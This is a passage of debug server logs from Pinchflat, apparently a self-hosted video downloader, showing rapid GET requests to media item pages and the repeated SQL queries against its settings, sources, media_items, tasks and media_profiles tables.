s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:48.099 [debug] QUERY OK source="settings" db=0.3ms idle=39.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.100 [debug] QUERY OK source="settings" db=0.3ms idle=38.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.102 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.104 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.108 [info] Sent 200 in 13ms 04:53:48.150 [info] GET /sources/31/media/91233/edit 04:53:48.150 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91233", "source_id" => "31"} Pipelines: [:browser] 04:53:48.151 [debug] QUERY OK source="media_items" db=0.5ms idle=52.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91233] 04:53:48.152 [debug] QUERY OK source="settings" db=0.2ms idle=52.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.153 [debug] QUERY OK source="settings" db=0.3ms idle=52.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.154 [debug] QUERY OK source="settings" db=0.2ms idle=52.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.157 [info] Sent 200 in 7ms 04:53:48.205 [info] GET /sources/30/media/90842/edit 04:53:48.205 [info] GET /sources/30/media/90842 04:53:48.206 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "90842", "source_id" => "30"} Pipelines: [:browser] 04:53:48.206 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90842", "source_id" => "30"} Pipelines: [:browser] 04:53:48.208 [debug] QUERY OK source="media_items" db=1.7ms idle=102.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90842] 04:53:48.208 [debug] QUERY OK source="media_items" db=1.7ms idle=55.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90842] 04:53:48.211 [info] GET /sources/31/media/91235 04:53:48.211 [debug] QUERY OK source="tasks" db=1.7ms queue=0.2ms idle=56.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90842] 04:53:48.211 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91235", "source_id" => "31"} Pipelines: [:browser] 04:53:48.211 [debug] QUERY OK source="settings" db=2.0ms idle=54.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.212 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=55.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.212 [info] GET /sources/30/media/91688 04:53:48.212 [debug] QUERY OK source="settings" db=0.6ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.213 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91688", "source_id" => "30"} Pipelines: [:browser] 04:53:48.213 [debug] QUERY OK source="media_items" db=0.6ms queue=0.3ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91235] 04:53:48.214 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.216 [debug] QUERY OK source="media_items" db=2.3ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91688] 04:53:48.216 [debug] QUERY OK source="settings" db=2.7ms queue=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.216 [debug] QUERY OK source="settings" db=2.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.217 [debug] QUERY OK source="tasks" db=3.1ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91235] 04:53:48.217 [debug] QUERY OK source="tasks" db=0.4ms queue=0.3ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91688] 04:53:48.218 [debug] QUERY OK source="sources" db=4.3ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:48.219 [debug] QUERY OK source="sources" db=1.1ms queue=0.8ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.219 [debug] QUERY OK source="settings" db=0.9ms queue=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.221 [info] Sent 200 in 15ms 04:53:48.221 [info] GET /sources/31/media/91235/edit 04:53:48.221 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91235", "source_id" => "31"} Pipelines: [:browser] 04:53:48.222 [debug] QUERY OK source="settings" db=1.4ms queue=0.3ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.221 [debug] QUERY OK source="settings" db=1.9ms queue=0.3ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.224 [debug] QUERY OK source="settings" db=2.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.225 [debug] QUERY OK source="settings" db=3.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.226 [debug] QUERY OK source="media_profiles" db=3.4ms queue=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.226 [debug] QUERY OK source="media_items" db=3.5ms queue=0.1ms idle=4.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91235] 04:53:48.227 [debug] QUERY OK source="settings" db=1.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.228 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.228 [debug] QUERY OK source="settings" db=1.1ms queue=0.5ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.230 [debug] QUERY OK source="settings" db=0.9ms queue=0.4ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.231 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.231 [info] Sent 200 in 25ms 04:53:48.232 [debug] QUERY OK source="media_profiles" db=1.5ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.232 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.235 [info] Sent 200 in 14ms 04:53:48.236 [info] Sent 200 in 24ms 04:53:48.237 [info] Sent 200 in 26ms 04:53:48.268 [info] GET /sources/30/media/91688/edit 04:53:48.269 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91688", "source_id" => "30"} Pipelines: [:browser] 04:53:48.270 [debug] QUERY OK source="media_items" db=0.4ms idle=41.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91688] 04:53:48.271 [debug] QUERY OK source="settings" db=0.2ms idle=41.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.272 [debug] QUERY OK source="settings" db=0.3ms idle=40.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.274 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=41.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.277 [info] Sent 200 in 8ms 04:53:48.330 [info] GET /sources/31/media/91236 04:53:48.330 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91236", "source_id" => "31"} Pipelines: [:browser] 04:53:48.331 [debug] QUERY OK source="media_items" db=0.6ms idle=98.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91236] 04:53:48.332 [debug] QUERY OK source="tasks" db=0.3ms idle=61.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91236] 04:53:48.333 [debug] QUERY OK source="sources" db=0.5ms idle=61.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:48.334 [debug] QUERY OK source="settings" db=0.3ms idle=61.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.335 [debug] QUERY OK source="settings" db=0.3ms idle=60.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.336 [debug] QUERY OK source="settings" db=0.3ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.339 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.343 [info] Sent 200 in 12ms 04:53:48.377 [info] GET /sources/31/media/91236/edit 04:53:48.378 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91236", "source_id" => "31"} Pipelines: [:browser] 04:53:48.379 [debug] QUERY OK source="media_items" db=0.5ms idle=45.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91236] 04:53:48.380 [debug] QUERY OK source="settings" db=0.3ms idle=45.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.381 [info] GET /sources/30/media/90844 04:53:48.381 [debug] QUERY OK source="settings" db=0.4ms idle=45.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.381 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90844", "source_id" => "30"} Pipelines: [:browser] 04:53:48.383 [debug] QUERY OK source="media_items" db=0.7ms idle=45.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90844] 04:53:48.383 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=43.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.384 [debug] QUERY OK source="tasks" db=0.3ms queue=0.5ms idle=4.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90844] 04:53:48.385 [info] GET /sources/30/media/90844/edit 04:53:48.385 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 